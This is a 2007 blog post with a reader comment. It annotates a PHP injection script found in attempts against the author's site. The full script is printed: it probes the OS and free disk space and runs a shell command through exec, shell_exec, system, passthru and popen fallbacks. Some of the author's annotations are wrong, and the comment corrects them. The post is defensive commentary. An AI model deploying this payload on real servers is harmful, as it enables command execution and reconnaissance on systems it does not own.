July 2, 2007

Bad Code, Worse Intentions

I've been looking over some of these "hack scripts" that people keep trying to inject into our site, and I'm surprised how...um...efficient some of them can be. Take the one from my last post (stringa.txt) and I'll try to annotate it. Given that I don't know PHP, please correct me if I'm wrong.

Get the current working directory.
echo "Mic22
"; Print something out to see if the call was allowed.
$OS = @PHP_OS; Tell me what OS is running so I can pass on OS-specific bad calls.
echo "OSTYPE:$OS
";
$free = disk_free_space($dir); How much free space is there that I can hijack?
if ($free === FALSE) {$free = 0;}
if ($free < 0) {$free = 0;} echo "Free:".view_size($free)."
";
$cmd="id"; Pull a command from the query string so that I can really own this server...
$eseguicmd=ex($cmd); Own the server
echo $eseguicmd; Reiterate that I owned the server.


function ex($cfe){
$res = ''; This is where the result from me owning the server will go.
if (!empty($cfe)){ If a command was sent via the query string...
if(function_exists('exec')){
@exec($cfe,$res); Run the command if "exec" is available to me
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){ If "exec" isn't available, look for shell_exec
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){ Look for the system command
@ob_start(); Create an output buffer to store the results of the command I'm going to run
@system($cfe);
$res = @ob_get_contents(); Get and return the results of the command I just ran
@ob_end_clean();
}
elseif(function_exists('passthru')){ Look for a different security hole...
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){ Screw it, just try opening a file on the machine so I can find another hole.
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}


function view_size($size) Doing math is hard, so I'll make the number easier for me to read.
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
exit;


This is the kind of crap that people are trying to get onto your servers. Will you let them by not following secure development and deployment practices?

(Note: As expected, I made a mistake or two. That said, fds (who currently doesn't have a public profile) was nice enough to correct them in the comments.)

1 comment:

fds said...

You are correct in that you are wrong about what parts of that code is trying to do. :)

> $cmd="id"; Pull a command from the query string so that I can really own this server...

This is where you are starting to make wrong assumptions. It merely sets a variable named $cmd to the fixed text string "id"

"id" is a standard Unix command for outputting the user's name and ID and group memberships.

For example on the Mac I'm writing this, the output is:
uid=501(fds) gid=501(fds) groups=501(fds), 81(appserveradm), 79(appserverusr), 80(admin)

In a web server environment, this of course would be the user account the web server is running under, which is normally a designated separate account.

So the whole "function ex" is about trying to invoke a given command ("id" in this case), trying to do it in all the many ways PHP offers executing an external program, each with slightly different ways of controlling the execution and capturing the output.
It's a bit weird why it is going through the whole list of possible ways to execute a process. I could not think of a scenario where one of them would be disabled but not all.

> elseif(@is_resource($f = @popen($cfe,"r"))){ Screw it, just try opening a file on the machine so I can find another hole.

This is not "screwing it," popen is short for process open and is just yet another way of executing an external program.

It is interesting though why does it insist on trying to execute the external program "id" to get this information.
There are dedicated built-in functions returning this information, which are far less likely to be disabled or denied than the command execution calls are.